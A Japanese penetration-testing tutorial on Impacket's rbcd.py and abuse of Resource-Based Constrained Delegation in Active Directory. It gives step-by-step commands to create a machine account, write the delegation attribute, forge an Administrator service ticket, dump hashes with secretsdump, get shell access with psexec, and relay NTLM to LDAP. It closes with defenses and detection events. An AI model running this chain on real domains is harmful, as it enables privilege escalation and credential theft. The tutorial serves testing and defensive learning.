こんにちは!今回は、強力なペネトレーションテストツールキットであるImpacketに含まれるスクリプトの一つ、impacket-rbcd.py
(一部のドキュメントでは単にrbcd.py
とも表記されます)の使い方について詳しく解説していきます。このスクリプトは、Active Directory (AD) 環境における「リソースベースの制約付き委任 (Resource-Based Constrained Delegation – RBCD)」の設定を操作するために使用されます。RBCDは便利な機能ですが、設定不備があると権限昇格などのセキュリティリスクにつながる可能性があります。😟
リソースベースの制約付き委任 (RBCD) とは? 🤔
impacket-rbcd.py
を理解する前に、まずRBCDについて簡単に触れておきましょう。RBCDは、Windows Server 2012 で導入されたKerberos委任の一形態です。従来の制約付き委任(Constrained Delegation)では、委任を許可する「サービスアカウント側」で委任先を設定していました。
一方、RBCDでは、委任を受ける「リソース(サービス)側」で、どのプリンシパル(ユーザーやコンピュータアカウント)が自分に対して代理でアクセスすることを許可するかを設定します。具体的には、リソースとなるオブジェクト(例:コンピュータアカウント)のmsDS-AllowedToActOnBehalfOfOtherIdentity
属性に、代理アクセスを許可するプリンシパルのセキュリティ記述子 (Security Descriptor – SD) を設定します。
この機能により、リソースの管理者が委任の制御権を持つことができるようになり、特にドメイン間の委任設定が容易になりました。しかし、このmsDS-AllowedToActOnBehalfOfOtherIdentity
属性に対する書き込み権限が不適切に設定されている場合、攻撃者はこの権限を悪用してRBCDを設定し、ターゲットシステムへの不正アクセスや権限昇格を試みることが可能になります。
RBCDが機能するためには、一般的にドメインコントローラーがWindows Server 2012以降である必要があります。
Impacket-rbcd.py の役割 ✨
impacket-rbcd.py
は、まさにこのmsDS-AllowedToActOnBehalfOfOtherIdentity
属性を操作するためのツールです。指定したユーザーの認証情報を用いて、ターゲットオブジェクトのこの属性に対して、特定のプリンシパル(通常は攻撃者が制御するアカウント)からの代理アクセスを許可する設定を書き込んだり、現在の設定を読み取ったり、設定をクリアしたりすることができます。
このツールは、Active Directory環境のペネトレーションテストにおいて、以下のようなシナリオでよく利用されます。
- 権限昇格: 一般ユーザーアカウントが、特定のコンピュータアカウントの
msDS-AllowedToActOnBehalfOfOtherIdentity
属性への書き込み権限(例: GenericWrite, GenericAll, WritePropertyなど)を持っている場合、攻撃者は自身が制御するアカウント(新しく作成したコンピュータアカウントなど)をこの属性に追加します。その後、getST.py
などの他のImpacketツールを使って、ターゲットコンピュータ上で管理者などの高権限ユーザーになりすますためのKerberosサービスチケットを取得し、アクセス権を得ます。 - 永続化: 攻撃者が既に侵害したアカウントに、重要なサーバーへのRBCD設定を行うことで、将来的にアクセスするためのバックドアとして利用する。
RBCD攻撃を成功させるためには、通常、攻撃者が制御するアカウント(委任元となるアカウント)にService Principal Name (SPN) が設定されている必要があります。これは、Kerberosがそのアカウントをサービスとして認識するために必要です。一般的には、MachineAccountQuota
(デフォルトで10)を利用して新しいコンピュータアカウントを作成し、これを利用します。コンピュータアカウントは自動的にSPNを持つため都合が良いのです。ただし、2022年にJames Forshaw氏によって、SPNを持たない通常ユーザーアカウントを利用する手法(SPN-less RBCD)も報告されていますが、この手法は対象アカウントを通常のログインで使用不能にするリスクがあります。
Impacket-rbcd.py の使い方 🛠️
impacket-rbcd.py
は、他のImpacketスクリプトと同様にコマンドラインから使用します。基本的な構文と主要なオプションを見ていきましょう。
基本的な構文:
rbcd.py <認証情報> -action <アクション> -delegate-to <ターゲットオブジェクト> -delegate-from <委任元プリンシパル> [オプション]
主要なオプション:
オプション | 説明 | 必須/任意 |
---|---|---|
<認証情報> |
LDAP操作を実行するための認証情報。DOMAIN/USER:PASSWORD 、DOMAIN/USER (パスワードプロンプト)、Kerberosチケット(-k オプション使用時)などの形式。このユーザーはターゲットオブジェクトのmsDS-AllowedToActOnBehalfOfOtherIdentity 属性を変更する権限が必要です。 |
必須 |
-action <read | write | clear> |
実行する操作を指定します。
|
必須 |
-delegate-to <ターゲットオブジェクト> |
RBCDの設定対象となるオブジェクト(通常はコンピュータアカウント)を指定します。SAMアカウント名(例: TARGETPC$ )または識別名 (DN) で指定できます。 |
必須 |
-delegate-from <委任元プリンシパル> |
ターゲットオブジェクトに対して代理アクセスを許可されるプリンシパル(通常は攻撃者が制御するアカウント)を指定します。SAMアカウント名(例: ATTACKERPC$ )で指定します。write またはclear アクションで必要です。 |
write , clear 時に必須 |
-dc-ip <IPアドレス> |
接続先のドメインコントローラーのIPアドレスを指定します。指定しない場合、DNSから探索を試みます。 | 任意 |
-dc-host <ホスト名> |
接続先のドメインコントローラーのホスト名を指定します。-dc-ip と併用されることがあります。 |
任意 |
-target-dn <識別名> |
-delegate-to の代わりにターゲットオブジェクトをDNで指定します。 |
任意 |
-delegate-from-dn <識別名> |
-delegate-from の代わりに委任元プリンシパルをDNで指定します。 |
任意 |
-hashes <LMHASH:NTHASH> |
パスワードの代わりにNTLMハッシュを使用して認証します (Pass-the-Hash)。 | 任意 |
-k |
Kerberos認証を使用します。事前にkinit などで有効なTGTを取得しておく必要があります。KRB5CCNAME 環境変数が使用されます。 |
任意 |
-no-pass |
パスワードなしで認証を試みます(例: Kerberos認証使用時)。 | 任意 |
-aesKey <hexkey> |
Kerberos認証用のAESキーを指定します (Pass-the-Key)。 | 任意 |
-debug |
デバッグ情報を表示します。トラブルシューティングに役立ちます。 | 任意 |
実践的な攻撃シナリオ例 ⚔️
ここでは、impacket-rbcd.py
を使った典型的なRBCD攻撃のステップを見てみましょう。
前提条件:
- Active Directoryドメイン環境 (例:
corp.local
) - ドメインコントローラーのIPアドレス (例:
192.168.1.10
) - 攻撃者が制御できる、または
msDS-AllowedToActOnBehalfOfOtherIdentity
属性への書き込み権限を持つドメインユーザーアカウント (例:corp\lowprivuser
、パスワード:Password123
) - 攻撃対象のコンピュータアカウント (例:
targetcomp$
) - 攻撃者がRBCDの委任元として使用するアカウント。ここでは、
MachineAccountQuota
を利用して新しいコンピュータアカウント (例:attackerpc$
、パスワード:AttackerPass!
) を作成するケースを想定します。
ステップ1: 攻撃用コンピュータアカウントの作成 (addcomputer.py)
まず、委任元となる攻撃用のコンピュータアカウントを作成します。これはimpacket-addcomputer.py
(または単にaddcomputer.py
)を使用します。MachineAccountQuota
が0より大きい場合に可能です。
impacket-addcomputer.py 'corp.local/lowprivuser:Password123' -computer-name 'attackerpc$' -computer-pass 'AttackerPass!' -dc-ip 192.168.1.10
これにより、attackerpc$
というコンピュータアカウントがドメインに追加されます。
ステップ2: RBCDの設定 (impacket-rbcd.py)
次に、impacket-rbcd.py
を使用して、ターゲットコンピュータ(targetcomp$
)のmsDS-AllowedToActOnBehalfOfOtherIdentity
属性に、作成した攻撃用アカウント(attackerpc$
)を追加します。
impacket-rbcd.py 'corp.local/lowprivuser:Password123' -action write -delegate-to 'targetcomp$' -delegate-from 'attackerpc$' -dc-ip 192.168.1.10
このコマンドは、lowprivuser
の権限でtargetcomp$
の属性を編集し、attackerpc$
がtargetcomp$
に対して代理アクセス(なりすまし)できるように設定します。
(オプション) 設定の確認:
正しく設定されたかを確認するには、-action read
を使用します。
impacket-rbcd.py 'corp.local/lowprivuser:Password123' -action read -delegate-to 'targetcomp$' -dc-ip 192.168.1.10
出力にattackerpc$
のSIDが含まれていれば成功です。
ステップ3: サービスチケットの取得 (getST.py)
RBCDの設定が完了したら、今度は攻撃用アカウント(attackerpc$
)の認証情報を使って、ターゲットコンピュータ(targetcomp$
)上で特定のユーザー(通常は管理者など高権限ユーザー)になりすますためのKerberosサービスチケット (ST) を取得します。これにはimpacket-getST.py
(または単にgetST.py
)を使用します。
impacket-getST.py 'corp.local/attackerpc$:AttackerPass!' -spn cifs/targetcomp.corp.local -impersonate Administrator -dc-ip 192.168.1.10
'corp.local/attackerpc$:AttackerPass!'
: 攻撃用アカウントの認証情報。-spn cifs/targetcomp.corp.local
: ターゲットとなるサービス(ここではCIFS=ファイル共有)のSPNを指定します。ターゲットのFQDNを使うのが一般的です。-impersonate Administrator
: ターゲット上でなりすましたいユーザー名を指定します。ここではAdministrator
を指定しています。
このコマンドが成功すると、カレントディレクトリにAdministrator.ccache
のような名前のKerberosチケットキャッシュファイルが生成されます。
ステップ4: チケットを使ったアクセス (Pass-the-Ticket)
取得したチケットを使って、ターゲットコンピュータにアクセスします。まず、環境変数KRB5CCNAME
にチケットファイルのパスを設定します。
export KRB5CCNAME=Administrator.ccache
その後、Kerberos認証 (-k
オプション) をサポートするImpacketツール(例: secretsdump.py
, psexec.py
, smbclient.py
など)を使ってターゲットにアクセスします。
例: secretsdump.pyでハッシュをダンプ
impacket-secretsdump.py -k -no-pass targetcomp.corp.local -dc-ip 192.168.1.10
# またはターゲットが名前解決できない場合
# impacket-secretsdump.py -k -no-pass -target-ip <targetcompのIPアドレス> targetcomp.corp.local -dc-ip 192.168.1.10
例: psexec.pyでコマンド実行
impacket-psexec.py -k -no-pass targetcomp.corp.local -dc-ip 192.168.1.10
# またはターゲットが名前解決できない場合
# impacket-psexec.py -k -no-pass -target-ip <targetcompのIPアドレス> targetcomp.corp.local -dc-ip 192.168.1.10
これで、targetcomp
に対してAdministrator
権限でアクセスできるはずです。🎉
NTLMリレーとの連携
impacket-rbcd.py
は単体でも強力ですが、他の攻撃手法、特にNTLMリレー攻撃と組み合わせることで、さらに効果を発揮する場合があります。
例えば、Impacketのntlmrelayx.py
ツールは、NTLM認証を中継(リレー)して他のサービスへの認証を行うツールですが、LDAPに対して認証を中継できた場合、--delegate-access
オプションを使用することで、中継した認証情報(多くの場合、コンピュータアカウントの認証)を利用して、直接RBCDの設定を行うことができます。
この手法は、msDS-AllowedToActOnBehalfOfOtherIdentity
属性への書き込み権限を持つアカウントの認証情報を直接知らなくても、そのアカウントからのNTLM認証を捕捉・中継できればRBCDを設定できる可能性があるため、非常に強力です。例えば、LLMNR/NBT-NSポイズニングやPrinter Bugなどを利用してコンピュータアカウントのNTLM認証を強制し、それをLDAPにリレーしてRBCDを設定、その後getST.py
でチケットを取得するという流れが考えられます。
# ntlmrelayx.pyでLDAPにリレーし、特定のターゲット(targetcomp$)に
# 制御下のアカウント(attackerpc$)からの委任を設定する例
ntlmrelayx.py -t ldap://<DC_IP> --delegate-access -l lootdir --escalate-user attackerpc$ --target-computer targetcomp$
このコマンドが成功すると、impacket-rbcd.py
を使ったステップ2と同様の状態になり、ステップ3に進むことができます。
防御と検知 🛡️
RBCD悪用を防ぐためには、以下のような対策が考えられます。
- 権限の最小化:
msDS-AllowedToActOnBehalfOfOtherIdentity
属性を変更できる権限(GenericWrite, WritePropertyなど)を、必要最小限のアカウントにのみ付与します。特に、一般ユーザーや低権限のサービスアカウントがコンピュータオブジェクトに対してこれらの権限を持たないように設定を見直します。BloodHoundなどのツールは、これらの危険な権限設定パスを可視化するのに役立ちます。 - MachineAccountQuotaの制限: 一般ユーザーによるコンピュータアカウントの作成を制限するために、
MachineAccountQuota
属性を0
に設定します。これにより、攻撃者がRBCDの委任元として都合の良いコンピュータアカウントを自由に作成できなくなります。 - アカウントの保護: 特権アカウントやサービスアカウントに対して、「アカウントは重要なので委任できない」 (Account is sensitive and cannot be delegated) オプションを有効にしたり、「Protected Users」グループに追加したりすることで、委任攻撃のリスクを低減できます。
- LDAP署名とチャネルバインディングの強制: NTLMリレー攻撃によるLDAP操作を防ぐために、ドメインコントローラーでLDAP署名とLDAPチャネルバインディングを強制します。
- 監視とログ記録:
msDS-AllowedToActOnBehalfOfOtherIdentity
属性の変更イベント (イベントID 5136など) や、Kerberosサービスチケット要求 (イベントID 4769) を監視し、不審なアクティビティがないか確認します。特に、短期間に作成されたコンピュータアカウントからの異常なチケット要求などに注意します。getST.py
やsecretsdump.py
などのツールの使用を示すログパターンを検出することも有効です。
まとめ 📝
impacket-rbcd.py
は、Active Directoryのリソースベースの制約付き委任 (RBCD) を操作するための強力なツールです。ペネトレーションテスターにとっては権限昇格や横展開のための重要な武器となり得ますが、防御側にとっては注意すべき攻撃ベクトルです。
RBCDの仕組みとimpacket-rbcd.py
の使い方を理解し、適切な権限管理と監視を行うことで、この攻撃のリスクを低減することが重要です。Impacketの他のツールと組み合わせることで、より複雑な攻撃シナリオも可能になるため、常に最新の攻撃手法と防御策について情報を収集し続けることが求められます。💪
コメント